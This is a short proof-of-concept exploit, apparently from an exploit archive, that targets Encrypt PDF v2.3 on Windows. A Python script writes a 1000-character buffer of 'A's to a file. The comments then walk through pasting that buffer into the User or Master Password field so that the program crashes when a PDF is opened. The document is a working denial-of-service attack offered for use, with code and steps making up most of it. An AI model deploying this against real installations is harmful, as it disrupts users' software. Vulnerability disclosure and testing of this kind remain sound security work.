Encrypt PDF 2.3 - Denial of Service (PoC)

# -*- coding: utf-8 -*-
# Exploit Title: Encrypt PDF v2.3 - Denial of Service (PoC)
# Date: 19/05/2019
# Author: Alejandra Sánchez
# Vendor Homepage: http://www.verypdf.com
# Software: http://www.verypdf.com/encryptpdf/encryptpdf.exe
# Version: 2.3
# Tested on: Windows 10

# Proof of Concept:
# 1.- Run the python script "EncryptPDF.py", it will create a new file "EncryptPDF.txt"
# 2.- Copy the text from the generated EncryptPDF.txt file to clipboard
# 3.- Open Encrypt PDF v2.3
# 4.- Go to 'Setting', paste clipboard in the field 'User Password' or the field 'Master Password' and Click 'OK'
# 5.- Click on 'Open PDF(s)', when you import a pdf file, you will see a crash

buffer = "\x41" * 1000

f = open ("EncryptPDF.txt", "w")
f.write(buffer)
f.close()